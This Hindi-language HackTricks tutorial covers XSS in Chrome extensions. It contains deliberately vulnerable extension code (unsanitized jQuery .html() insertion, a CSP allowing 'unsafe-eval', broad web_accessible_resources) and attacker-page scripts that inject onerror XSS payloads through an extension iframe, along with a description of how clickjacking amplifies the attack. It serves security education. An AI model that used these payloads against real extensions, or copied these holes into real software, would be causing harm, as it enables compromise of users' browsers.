BrowExt - XSS उदाहरण
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Iframe के माध्यम से क्रॉस-साइट स्क्रिप्टिंग (XSS)
इस सेटअप में, एक सामग्री स्क्रिप्ट को Iframe को स्थापित करने के लिए लागू किया गया है, जिसमें Iframe के स्रोत के रूप में क्वेरी पैरामीटर के साथ एक URL शामिल है:
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, message.html
, को URL में पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
एक दुर्भावनापूर्ण स्क्रिप्ट एक प्रतिकूल के पृष्ठ पर निष्पादित होती है, जो Iframe के स्रोत के content
पैरामीटर को संशोधित करती है ताकि एक XSS पेलोड पेश किया जा सके। यह Iframe के स्रोत को एक हानिकारक स्क्रिप्ट शामिल करने के लिए अपडेट करके प्राप्त किया जाता है:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
एक अत्यधिक अनुमति देने वाली सामग्री सुरक्षा नीति जैसे:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
JavaScript के निष्पादन की अनुमति देता है, जिससे सिस्टम XSS हमलों के प्रति संवेदनशील हो जाता है।
XSS को उत्तेजित करने के लिए एक वैकल्पिक दृष्टिकोण Iframe तत्व बनाना और इसके स्रोत को हानिकारक स्क्रिप्ट को content
पैरामीटर के रूप में शामिल करना है:
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
DOM-आधारित XSS + ClickJacking
यह उदाहरण मूल पोस्ट लेख से लिया गया था।
मुख्य समस्या /html/bookmarks.html
में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाला JavaScript, जो bookmarks.js
का हिस्सा है, नीचे विस्तृत किया गया है:
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
यह स्निपेट txtName
इनपुट फ़ील्ड से मान प्राप्त करता है और HTML उत्पन्न करने के लिए स्ट्रिंग संयोजन का उपयोग करता है, जिसे फिर jQuery के .append()
फ़ंक्शन का उपयोग करके DOM में जोड़ा जाता है।
आमतौर पर, Chrome एक्सटेंशन की सामग्री सुरक्षा नीति (CSP) ऐसी कमजोरियों को रोकती है। हालाँकि, ‘unsafe-eval’ के साथ CSP में ढील और jQuery के DOM हेरफेर विधियों का उपयोग (जो globalEval()
का उपयोग करके स्क्रिप्ट को eval()
में पास करते हैं जब DOM में डाला जाता है) के कारण, शोषण अभी भी संभव है।
हालांकि यह कमजोरी महत्वपूर्ण है, इसका शोषण आमतौर पर उपयोगकर्ता इंटरैक्शन पर निर्भर करता है: पृष्ठ पर जाना, XSS पेलोड दर्ज करना, और “Add” बटन को सक्रिय करना।
इस कमजोरी को बढ़ाने के लिए, एक द्वितीयक क्लिकजैकिंग कमजोरी का शोषण किया जाता है। Chrome एक्सटेंशन का मैनिफेस्ट एक विस्तृत web_accessible_resources
नीति को प्रदर्शित करता है:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
विशेष रूप से, /html/bookmarks.html
पृष्ठ फ्रेमिंग के प्रति संवेदनशील है, इस प्रकार clickjacking के लिए कमजोर है। इस कमजोरी का उपयोग पृष्ठ को हमलावर की साइट के भीतर फ्रेम करने के लिए किया जाता है, इसे DOM तत्वों के साथ ओवरले करके इंटरफेस को धोखे से redesign किया जाता है। यह हेरफेर पीड़ितों को अनजाने में अंतर्निहित एक्सटेंशन के साथ इंटरैक्ट करने के लिए प्रेरित करता है।
संदर्भ
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।